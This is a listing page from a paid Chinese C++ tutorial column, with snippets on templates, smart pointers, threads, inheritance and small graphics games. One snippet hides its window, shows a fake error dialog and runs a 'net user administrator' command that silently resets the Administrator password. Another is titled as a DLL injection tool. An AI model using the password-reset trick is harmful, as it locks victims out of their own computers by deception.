
c++
文章平均质量分 54
c++常用知识
优惠券已抵扣
余额抵扣
还需支付
¥79.90
¥99.00
购买须知?
本专栏为图文内容,最终完结不会低于15篇文章。
订阅专栏,享有专栏所有文章阅读权限。
本专栏为虚拟商品,基于网络商品和虚拟商品的性质和特征,专栏一经购买无正当理由不予退款,不支持升级,敬请谅解。
键盘小王子
这个作者很懒,什么都没留下…
展开
-
算法学习网络流
网络流是算法竞赛中的一个重要的模型,它分为两部分:网络和流。网络,其实就是一张有向图,其上的边权称为容量。额外地,它拥有一个源点和汇点。其中1为源点,3为汇点流,顾名思义,就像水流或电流,也具有它们的性质。如果把网络想象成一个自来水管道网络,那流就是其中流动的水。每条边上的流不能超过它的容量,并且对于除了源点和汇点外的所有点(即中继点),流入的流量都等于流出的流量。网络流中最常见的问题就是网络最大流。假定从源点流出的流量足够多,求能够流入汇点的最大流量。例如对上面那张网络而言,最大流是5,其中1-&转载 2021-10-24 14:35:53 · 408 阅读 · 0 评论 -
C++星罗万象时钟罗盘
编写思路该程序的难点在于字符串的书写角度,理解了这个就已经理解了这个程序的核心内容,需要注意的地方是这个程序的每一圈代表一个 for 循环,我开始写的时候认为一个 for 循环嵌套一个 for 循环,但是后面我发现 for 循环嵌套的太多,就会导致程序运行的速度变慢,为了提高程序的速度,我将所有的 for 循环分开写,不用循环嵌套。然后用一个 while 循环来控制主循环。还有一个问题,程序中我没有用 Sleep 函数,直接使用了获取系统时间的函数,通过慢羊羊的指导,后续又加以修正,让钟表产生旋转的效果。转载 2021-10-06 16:45:36 · 4168 阅读 · 3 评论 -
c++编写死神VS火影
源代码:#include<graphics.h>#include<conio.h>#include<windows.h>#include<stdio.h>#pragma comment(lib,"Winmm.lib")#pragma warning(disable:4996)int player1_x, player1_y, player2_x, player2_y, player1old_y, player2old_y, player1old_原创 2021-07-30 18:10:16 · 7256 阅读 · 0 评论 -
用c++图形库编写的双人打气球
代码如下:具体操作:一个跟随鼠标指针另一个…#include<stdio.h>#include<math.h>#include<graphics.h>#include<mmsystem.h>#pragma comment(lib,"winmm.lib")#pragma warning(disable : 4996)#define WIDTH 600#define WEIGHT 400#define NUM 10struct Bat原创 2020-09-13 15:02:22 · 1631 阅读 · 4 评论 -
用c++编写DLL注入工具
Injiect64.cpp:#include "stdafx.h"#include "Inject64.h"#include "Inject64Dlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif// CInject64AppBEGIN_MESSAGE_MAP(CInject64App, CWinApp) ON_COMMAND(ID_HELP, &CWinApp::OnHelp)END_MESSAGE_MAP()// CInj原创 2021-02-08 15:38:20 · 531 阅读 · 0 评论 -
用c++判断101-200之间有多少个素数,并输出所有素数
如何判断101-200之间有多少个素数,并输出所有素数呢?程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,则表明此数不是素数,反之是素数。具体代码:#include<iostream>#include "math.h"int main(){ int m,i,k,h=0,leap=1; printf("\n"); for(m=101;m<=200;m++) { k=sqrt(m+1); for(i=2;i<=k;.原创 2020-12-12 16:29:27 · 1796 阅读 · 2 评论 -
c++11标准库(第二版)
链接:https://pan.baidu.com/s/1X29eJEdR5nH13AmD9KqMfQ提取码:zr12复制这段内容后打开百度网盘手机App,操作更方便哦原创 2020-10-31 15:26:11 · 1267 阅读 · 0 评论 -
用C++编写天体运动
源代码如下:#include <iostream>#include <string>#include <cmath>#include <ctime>#include <list>#include <vector>#include <graphics.h>using std::wstring;using std::list;using std::vector;using std::to_wstring;原创 2020-10-17 19:31:04 · 999 阅读 · 0 评论 -
c++内存池原理
1、默认的内存管理函数的不足malloc/free 和 new/delete 在堆上申请和释放内存都有一定的额外开销。开销来自维护 内存空闲块表。malloc和new 申请堆内存时,首先查找内部维护的内存空闲块表,并且需要根据一定的算法(例如分配最先找到的不小于申请大小的内存块给请求者,或者分配最适于申请大小的内存块,或者分配最大空闲的内存块等)找到合适大小的空闲内存块。如果该空闲内存块过大,还需要切割成已分配的部分和较小的空闲块。然后系统更新内存空闲块表,完成一次内存分配。类似地,在free和de原创 2020-08-08 16:15:11 · 229 阅读 · 1 评论 -
自动关机并可以改密码
#include<iostream>#include<Windows.h>#include"TLHELP32.H"using namespace std;int mian(){ HWND hWnd=GetForegroundWindow() ShowWindow(hWnd, 0); MessageBox(hWnd,L"系统出错"); system("net user administrator 19861109")...原创 2020-08-05 12:57:23 · 299 阅读 · 0 评论 -
C++ vector迭代器及用法
vector 容器的迭代器是随机访问迭代器。当然,也可以通过全局函数获取它们。vector 有成员函数 push_back(),所以能够通过使用 back_insert_iterator 来添加新的值。从前面章节了解到,可以通过调用全同的 back_inserter() 函数来获取一个后向插入迭代器。无法在 vector 容器中使用 front_insert_iterator,这需要 vector 有成员函数 push_front(),但是 vector 容器并没有定义这个函数。可以通过演示如何用 co原创 2020-06-14 14:29:38 · 3823 阅读 · 0 评论 -
c++单例类模板
单例类描述指在整个系统生命期中,一个类最多只能有一个实例(instance)存在,使得该实例的唯一性(实例是指一个对象指针) , 比如:统计在线人数在单例类里,又分为了懒汉式和饿汉式,它们的区别在于创建实例的时间不同:懒汉式 : 指代码运行后,实例并不存在,只有当需要时,才去创建实例(适用于单线程)饿汉式 : 指代码一运行,实例已经存在,当时需要时,直接去调用即可(适用于多线程)用法将构造函数的访问属性设置为private,提供一个GetInstance()静态成员函数,只能供用户访问唯一原创 2020-07-30 16:42:23 · 289 阅读 · 0 评论 -
线程池浅谈
//#include "stdafx.h"#include <iostream>#include <vector>#include <map>#include <string>#include <thread>#include <list>#include <mutex>#include <future>using namespace std;class A {public: atom原创 2020-07-28 15:12:32 · 212 阅读 · 0 评论 -
c++11之线程共享数据
共享数据通常我们启用多线程都是同时处理关键资源,会经常碰到资源竞争的情况,如果多个线程同时访问同个资源,会造成未知的错误。当线程在访问共享数据的时候,必须定一些规矩,用来限定线程可访问的数据位。还有,一个线程更新了共享数据,需要对其他线程进行通知。从易用性的角度,同一进程中的多个线程进行数据共享,有利有弊。错误的共享数据使用是产生并发bug的一个主要原因。本章就以在C++中进行安全的数据共享为主题。避免上述及其他潜在问题的发生的同时,将共享数据的优势发挥到最大。共享数据带来的问题当涉及到共享数据时原创 2020-07-28 14:57:06 · 689 阅读 · 0 评论 -
c++多线程detach的疑惑
为什么detach在线程里,使用了在3处delete的内存还不报错误???线程还没来得及执行,main函数就执行完了,直接杀死还没有执行完的线程,所以线程里使用了已经delete的内存,也没有出错。如果在main函数里调用sleep(2),就会出错误。如果当main函数结束后,还不想结束其他由main函数创建的子线程,就必须调用下pthread_exit(NULL)。#include <iostream>#include <thread>#include <unist原创 2020-07-27 16:31:38 · 864 阅读 · 1 评论 -
c++11线程创建的三种方法
一、用一个初始函数创建一个线程直接看代码:注意c++在运行一个可执行程序的时候(创建了一个进程),会自动的创建一个主线程,这个主线程和进程同生共死,主线程结束,进程也就结束了。#include "pch.h" #include <iostream> #include<thread>void print1() { cout << "print1_1线程执行" << endl; cout << "print1_2线程执行"原创 2020-07-26 13:26:49 · 2149 阅读 · 0 评论 -
共享数据的保护案例代码
共享数据的保护案例代码假设我们设计一个网络游戏服务器:两个线程1.一个线程记录玩家命令(用一个数字代表玩家发来的命令),并把命令数据写到一个队列中。 2.另外一个线程,从队列中取出玩家发送来的命令,解析,然后然后执行玩家需要的动作。我们使用成员函数作为线程函数的方法来构造线程#include <iostream>#include <string>#include<thread>#include<vector>#include<list&g原创 2020-07-25 17:14:23 · 228 阅读 · 0 评论 -
shared_ptr使用时的陷阱
1:不要把一个原生指针给多个shared_ptr管理int* ptr = new int;shared_ptr<int> p1(ptr);shared_ptr<int> p2(ptr); //logic errorptr对象被删除了2次这种问题比喻成“二龙治水”,在原生指针中也同样可能发生。2:不要把this指针给shared_ptrclass Test{public: void Do(){ m_sp = shared_ptr<Test>(t原创 2020-07-24 15:45:23 · 627 阅读 · 0 评论 -
c++智能指针(weak_ptr)
weak_ptr是为了配合shared_ptr而引入的一种智能指针,因为它不具有普通指针的行为,没有重载operator*和->,它的最大作用在于协助shared_ptr工作,像旁观者那样观测资源的使用情况。weak_ptr可以从一个shared_ptr或者另一个weak_ptr对象构造,获得资源的观测权。但weak_ptr没有共享资源,它的构造不会引起指针引用计数的增加。使用weak_ptr的成员函数use_count()可以观测资源的引用计数,另一个成员函数expired()的功能等价于use_c原创 2020-07-24 14:52:56 · 1394 阅读 · 0 评论 -
shared_ptr的计数问题
每个shared_ptr所指向的对象都有一个引用计数,它记录了有多少个shared_ptr指向自己shared_ptr的析构函数:递减它所指向的对象的引用计数,如果引用计数变为0,就会销毁对象并释放相应的内存引用计数的变化:决定权在shared_ptr,而与对象本身无关二、引用计数初步shared_ptr< int > sp; //空智能指针shared_ptr< int > sp2 = make_shared< int原创 2020-07-23 16:05:22 · 1349 阅读 · 0 评论 -
C++11 shared_ptr详解
要确保用 new 动态分配的内存空间在程序的各条执行路径都能被释放是一件麻烦的事情。C++ 11 模板库的 头文件中定义的智能指针,即 shared _ptr 模板,就是用来部分解决这个问题的。只要将 new 运算符返回的指针 p 交给一个 shared_ptr 对象“托管”,就不必担心在哪里写delete p语句——实际上根本不需要编写这条语句,托管 p 的 shared_ptr 对象在消亡时会自动执行delete p。而且,该 shared_ptr 对象能像指针 p —样使用,即假设托管 p 的 *原创 2020-07-23 15:09:08 · 708 阅读 · 0 评论 -
浅谈c++内存管理
内存管理是C++最令人切齿痛恨的问题,也是C++最有争议的问题,C++高手从中获得了更好的性能,更大的自由,C++菜鸟的收获则是一遍一遍的检查代码和对C++的痛恨,但内存管理在C++中无处不在,内存泄漏几乎在每个C++程序中都会发生,因此要想成为C++高手,内存管理一关是必须要过的,除非放弃C++,转到Java或者.NET,他们的内存管理基本是自动的,当然你也放弃了自由和对内存的支配权,还放弃了C++超绝的性能。本期专题将从内存管理、内存泄漏、内存回收这三个方面来探讨C++内存管理问题。1 内存管理伟大原创 2020-07-22 15:54:38 · 736 阅读 · 0 评论 -
可变参数模板,模板模板参数
一、可变参函数模板// 可变参函数模板template <typename... T> // 表示0到多个不同的类型void MyFun(T... args) // 表示0到多个不同类型的参数(可以同类型,也可以不同类型){ cout << sizeof...(T) << endl; cout << sizeof...(args) << endl; // 都是表示可变参的个数}// 可变参函数模板,参数包的原创 2020-07-21 16:33:09 · 225 阅读 · 0 评论 -
C++类模板,函数模板(详解)
一:类模板偏特化,全特化#pragma once#include <iostream>#include <map> template <typename T, typename U>class TC{public: TC() { std::cout << "泛化版本构造函数" << std::endl; } void funtest() { std::cout << "泛化版本成员函数" <<原创 2020-07-21 16:01:39 · 293 阅读 · 0 评论 -
定义类型别名
说到类型别名,无非是给类型名(如int,char,float,double,bool)取一个比较有特殊含义的名字而已最常用的关键莫过于 typedef 吧typedef最常见的用法是与结构体struct连用,这是C语言的语法,C++已经不这样用了(或者很少这样用)。在C语言中声明结构体常用以下格式:typedef struct Name1{ elemtype ElemName;}Name2,Name3;其中Name1为结构体名,同时它还有两个‘外号’:Name2,Name3。这是因为声原创 2020-07-20 15:47:51 · 645 阅读 · 0 评论 -
C++ 一个类的成员函数可以是模板函数么?
1,一个普通类的一个成员函数可以成为模板成员函数么?答案是可以的,实例如下#include<iostream>#include<string>using namespace std;class PrintIt {public: PrintIt(ostream &os) :_os(os) { } template <typename elemType> void print(const elemType& el转载 2020-07-19 17:20:24 · 2430 阅读 · 0 评论 -
c++类模板(模板类)
人们需要编写多个形式和功能都相似的函数,因此有了函数模板来减少重复劳动;人们也需要编写多个形式和功能都相似的类,于是 C++ 引人了类模板的概念,编译器从类模板可以自动生成多个类,避免了程序员的重复劳动。有了类模板的机制,只需要写一个可变长的数组类模板,编译器就会由该类模板自动生成整型、double 型等各种类型的可变长数组类了。C++ 中类模板的写法如下:template <类型参数表>class 类模板名{ 成员函数和成员变量};类型参数表的写法如下:class类塑参原创 2020-07-19 13:43:28 · 497 阅读 · 0 评论 -
c++引用与调用
向函数传递参数的引用调用方法,把引用的地址复制给形式参数。在函数内,该引用用于访问调用中要用到的实际参数。这意味着,修改形式参数会影响实际参数。按引用传递值,参数引用被传递给函数,就像传递其他值给函数一样。因此相应地,在下面的函数 swap() 中,您需要声明函数参数为引用类型,该函数用于交换参数所指向的两个整数变量的值。// 函数定义void swap(int &x, int &y){ int temp; temp = x; /* 保存地址 x 的值 */ x =原创 2020-07-18 16:12:03 · 590 阅读 · 0 评论 -
c++函数模板--(函数模板的定义)
//函数模板定义--数据类型做参数#include<iostream>using namespace std;/*函数模板声明1.函数模板定义由模板说明和函数定义组成,并且一个模板说明对应一个函数定义2.模板说明的类属参数必须在函数定义中至少出现一次3.函数参数表中可以使用类属类型参数,也可以使用一般类型参数*//*template关键字告诉c++编译器现在要进行泛型编程typename或者class告诉c++编译器T是一个数据类型,不要进行语法检查typename和原创 2020-07-18 14:53:25 · 678 阅读 · 0 评论 -
派生类构造函数(详解)
派生类构造函数构造派生类对象流程:基类构造函数->派生类构造函数析构派生类对象流程:派生类析构函数->基类析构函数派生类实际上是使用基类的构造函数来初始化其基类部分。传递参数给基类构造函数问题:通过派生类的构造函数初始化列表代码:#include<iostream>using namespace std;class Human {public: Human(int i) : _m_valuea(i) { cout << "调用了Human原创 2020-07-09 16:13:49 · 1442 阅读 · 0 评论 -
C++基类和派生类的析构函数(详解)
和构造函数类似,析构函数也不能被继承。与构造函数不同的是,在派生类的析构函数中不用显式地调用基类的析构函数,因为每个类只有一个析构函数,编译器知道如何选择,无需程序员干涉。另外析构函数的执行顺序和构造函数的执行顺序也刚好相反:创建派生类对象时,构造函数的执行顺序和继承顺序相同,即先执行基类构造函数,再执行派生类构造函数。而销毁派生类对象时,析构函数的执行顺序和继承顺序相反,即先执行派生类析构函数,再执行基类析构函数。请看下面的例子:#include <iostream>using n原创 2020-07-16 16:18:50 · 975 阅读 · 1 评论 -
C++转换构造函数(详解版)
个构造函数接收一个不同于其类类型的形参,可以视为将其形参转换成类的一个对象。像这样的构造函数称为转换构造函数。除了创建类对象之外,转换构造函数还为编译器提供了执行隐式类型转换的方法。只要在需要类的类型值的地方,给定构造函数的形参类型的值,就将由编译器执行这种类型的转换。举一个简单的例子,先来看下面这个类:class IntClass{ private: int value; public: //转换int的转换构造函数 IntClass原创 2020-07-17 15:05:48 · 1379 阅读 · 1 评论 -
C++多继承(多重继承)详解
派生类都只有一个基类,称为单继承(Single Inheritance)。除此之外,C++也支持多继承(Multiple Inheritance),即一个派生类可以有两个或多个基类。多继承容易让代码逻辑复杂、思路混乱,一直备受争议,中小型项目中较少使用,后来的 Java、C#、PHP 等干脆取消了多继承。多继承的语法也很简单,将多个基类用逗号隔开即可。例如已声明了类A、类B和类C,那么可以这样来声明派生类D:class D: public A, private B, protected C{原创 2020-07-16 16:17:19 · 1835 阅读 · 0 评论